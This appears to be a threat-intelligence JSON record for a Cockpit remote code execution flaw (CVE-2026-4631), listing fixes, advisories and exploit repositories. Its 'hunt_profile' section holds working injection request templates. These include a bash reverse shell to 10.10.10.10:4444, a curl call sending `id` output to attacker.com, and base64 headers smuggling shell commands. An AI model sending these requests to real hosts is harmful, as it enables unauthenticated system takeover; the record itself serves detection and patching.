{
  "id": "CVE-2026-4631",
  "url": "https://poc.griffinguard.io/cve/CVE-2026-4631",
  "published_at": "2026-04-07T16:30:28.069Z",
  "title": "Cockpit: cockpit: unauthenticated remote code execution due to ssh command-line argument injection",
  "vendor": "Red Hat",
  "product": "Red Hat Enterprise Linux 10",
  "cvss": {
    "score": 9.8,
    "source": "cna",
    "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  },
  "kev": {
    "in_kev": false,
    "added_at": null,
    "days_after_publication": null
  },
  "first_poc": {
    "created_at": "2026-04-15T09:57:36Z",
    "first_seen_at": "2026-11-14T11:25:11.578Z",
    "days_after_publication": 7.7,
    "source": "nuclei",
    "url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-4631.yaml"
  },
  "poc_repo_count": 2,
  "exploit_count": 2,
  "suspicious_repo_count": 0,
  "edge_device": null,
  "description": "Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.",
  "cwe": "CWE-78",
  "cvss_by_source": {
    "cna": 9.8
  },
  "repos": [
    {
      "repo": "cyberheartmi9/CVE-2026-4631-cockpit-RCE",
      "url": "https://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE",
      "created_at": "2026-04-18T20:30:02Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 15,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2015-05-12T17:32:22Z"
    },
    {
      "repo": "ExDev994/CVE-2026-4631-cockpit-RCE",
      "url": "https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE",
      "created_at": "2026-07-12T08:42:02Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2026-01-30T13:31:40Z"
    }
  ],
  "remediation": {
    "affected": [
      {
        "vendor": "Red Hat",
        "product": "Red Hat Enterprise Linux 10",
        "ranges": null,
        "fixed_in": [
          "0:344-3.el10_1"
        ]
      },
      {
        "vendor": "Red Hat",
        "product": "Red Hat Enterprise Linux 10",
        "ranges": null,
        "fixed_in": [
          "0:356.1-1.el10_2"
        ]
      },
      {
        "vendor": "Red Hat",
        "product": "Red Hat Enterprise Linux 10.0 Extended Update Support",
        "ranges": null,
        "fixed_in": [
          "0:334.1-3.el10_0"
        ]
      },
      {
        "vendor": "Red Hat",
        "product": "Red Hat Enterprise Linux 9",
        "ranges": null,
        "fixed_in": [
          "0:356.1-1.el9_8"
        ]
      },
      {
        "vendor": "Red Hat",
        "product": "Red Hat Enterprise Linux 9",
        "ranges": null,
        "fixed_in": [
          "0:344-2.el9_7"
        ]
      },
      {
        "vendor": "Red Hat",
        "product": "Red Hat Enterprise Linux 9",
        "ranges": null,
        "fixed_in": [
          "0:356.1-1.el9_8"
        ]
      },
      {
        "vendor": "Red Hat",
        "product": "Red Hat Enterprise Linux 9",
        "ranges": null,
        "fixed_in": [
          "0:344-2.el9_7"
        ]
      },
      {
        "vendor": "Red Hat",
        "product": "Red Hat Enterprise Linux 9.6 Extended Update Support",
        "ranges": null,
        "fixed_in": [
          "0:334.2-2.el9_6"
        ]
      }
    ],
    "upgrade": [
      "Upgrade Red Hat Enterprise Linux 10 to 0:344-3.el10_1 or later.",
      "Upgrade Red Hat Enterprise Linux 10 to 0:356.1-1.el10_2 or later.",
      "Upgrade Red Hat Enterprise Linux 10.0 Extended Update Support to 0:334.1-3.el10_0 or later.",
      "Upgrade Red Hat Enterprise Linux 9 to 0:356.1-1.el9_8 or later.",
      "Upgrade Red Hat Enterprise Linux 9 to 0:344-2.el9_7 or later.",
      "Upgrade Red Hat Enterprise Linux 9 to 0:356.1-1.el9_8 or later.",
      "Upgrade Red Hat Enterprise Linux 9 to 0:344-2.el9_7 or later.",
      "Upgrade Red Hat Enterprise Linux 9.6 Extended Update Support to 0:334.2-2.el9_6 or later."
    ],
    "references": [
      {
        "kind": "Vendor advisory",
        "url": "https://access.redhat.com/errata/RHBA-2026:21387"
      },
      {
        "kind": "Vendor advisory",
        "url": "https://access.redhat.com/errata/RHBA-2026:21388"
      },
      {
        "kind": "Vendor advisory",
        "url": "https://access.redhat.com/errata/RHSA-2026:7381"
      },
      {
        "kind": "Vendor advisory",
        "url": "https://access.redhat.com/errata/RHSA-2026:7382"
      },
      {
        "kind": "Vendor advisory",
        "url": "https://access.redhat.com/errata/RHSA-2026:7383"
      },
      {
        "kind": "Vendor advisory",
        "url": "https://access.redhat.com/errata/RHSA-2026:7384"
      },
      {
        "kind": "Vendor advisory",
        "url": "https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427"
      }
    ]
  },
  "exploit_refs": [
    {
      "url": "https://www.exploit-db.com/exploits/52572",
      "source": "exploitdb",
      "title": "Cockpit 359 - RCE",
      "published_at": "2026-05-21T00:00:00Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    },
    {
      "url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-4631.yaml",
      "source": "nuclei",
      "title": "nuclei template: Cockpit Web Console \u003c 360 - Remote Code Execution",
      "published_at": "2026-04-15T09:57:36Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    }
  ],
  "hunt_profile": [
    {
      "method": "GET",
      "path_template": "/cockpit+=-oProxyCommand={var}/login",
      "headers": [
        {
          "name": "Authorization",
          "value": "Basic base64(\"x:x\")"
        },
        {
          "name": "Authorization",
          "value": "Basic {var}"
        },
        {
          "name": "Authorization",
          "value": "Basic aW52YWxpZDppbnZhbGlk"
        },
        {
          "name": "Authorization",
          "value": "{var}"
        },
        {
          "name": "Origin",
          "value": "{var}"
        },
        {
          "name": "Referer",
          "value": "{var}/"
        }
      ],
      "ports": [
        9090
      ],
      "protocol": "http",
      "repos": [
        "ExDev994/CVE-2026-4631-cockpit-RCE",
        "cyberheartmi9/CVE-2026-4631-cockpit-RCE"
      ],
      "repo_count": 2,
      "confidence": 0.85,
      "evidence": [
        "ExDev994/CVE-2026-4631-cockpit-RCE/README.md:167",
        "ExDev994/CVE-2026-4631-cockpit-RCE/docs/DETECTION.md:89",
        "cyberheartmi9/CVE-2026-4631-cockpit-RCE/README.md:290",
        "cyberheartmi9/CVE-2026-4631-cockpit-RCE/exploit.py:55",
        "cyberheartmi9/CVE-2026-4631-cockpit-RCE/exploit.py:87",
        "cyberheartmi9/CVE-2026-4631-cockpit-RCE/exploit.py:114"
      ]
    },
    {
      "method": "GET",
      "path_template": "/cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login",
      "ports": [
        9090
      ],
      "protocol": "http",
      "repos": [
        "cyberheartmi9/CVE-2026-4631-cockpit-RCE"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "cyberheartmi9/CVE-2026-4631-cockpit-RCE/README.md:317"
      ]
    },
    {
      "method": "GET",
      "path_template": "/cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login",
      "ports": [
        9090
      ],
      "protocol": "http",
      "repos": [
        "cyberheartmi9/CVE-2026-4631-cockpit-RCE"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "cyberheartmi9/CVE-2026-4631-cockpit-RCE/README.md:309"
      ]
    },
    {
      "method": "GET",
      "path_template": "/cockpit+=legit-host/login",
      "headers": [
        {
          "name": "Authorization",
          "value": "Basic base64(\"x; {var}; #:x\")"
        }
      ],
      "ports": [
        9090
      ],
      "protocol": "http",
      "repos": [
        "ExDev994/CVE-2026-4631-cockpit-RCE"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "ExDev994/CVE-2026-4631-cockpit-RCE/README.md:181"
      ]
    },
    {
      "method": "GET",
      "path_template": "/cockpit+=legitimate-host/login",
      "headers": [
        {
          "name": "Authorization",
          "value": "Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk"
        }
      ],
      "ports": [
        9090
      ],
      "protocol": "http",
      "repos": [
        "cyberheartmi9/CVE-2026-4631-cockpit-RCE"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "cyberheartmi9/CVE-2026-4631-cockpit-RCE/README.md:338"
      ]
    },
    {
      "method": "GET",
      "path_template": "/cockpit+={var}/login",
      "headers": [
        {
          "name": "Authorization",
          "value": "Basic \u003cbase64 of \"x; CMD; #:x\"\u003e"
        }
      ],
      "ports": [
        9090
      ],
      "protocol": "http",
      "repos": [
        "ExDev994/CVE-2026-4631-cockpit-RCE"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "ExDev994/CVE-2026-4631-cockpit-RCE/docs/DETECTION.md:100"
      ]
    },
    {
      "method": "GET",
      "path_template": "/`id",
      "ports": [
        9090
      ],
      "protocol": "http",
      "repos": [
        "cyberheartmi9/CVE-2026-4631-cockpit-RCE"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "cyberheartmi9/CVE-2026-4631-cockpit-RCE/README.md:312"
      ]
    },
    {
      "method": "GET",
      "path_template": "/cockpit+=probe-host/login",
      "headers": [
        {
          "name": "Authorization",
          "value": "Basic eDp4"
        }
      ],
      "ports": [
        8080,
        9090
      ],
      "protocol": "http",
      "repos": [
        "ExDev994/CVE-2026-4631-cockpit-RCE"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "ExDev994/CVE-2026-4631-cockpit-RCE/core/scanner.py:85"
      ]
    }
  ],
  "rules": []
}
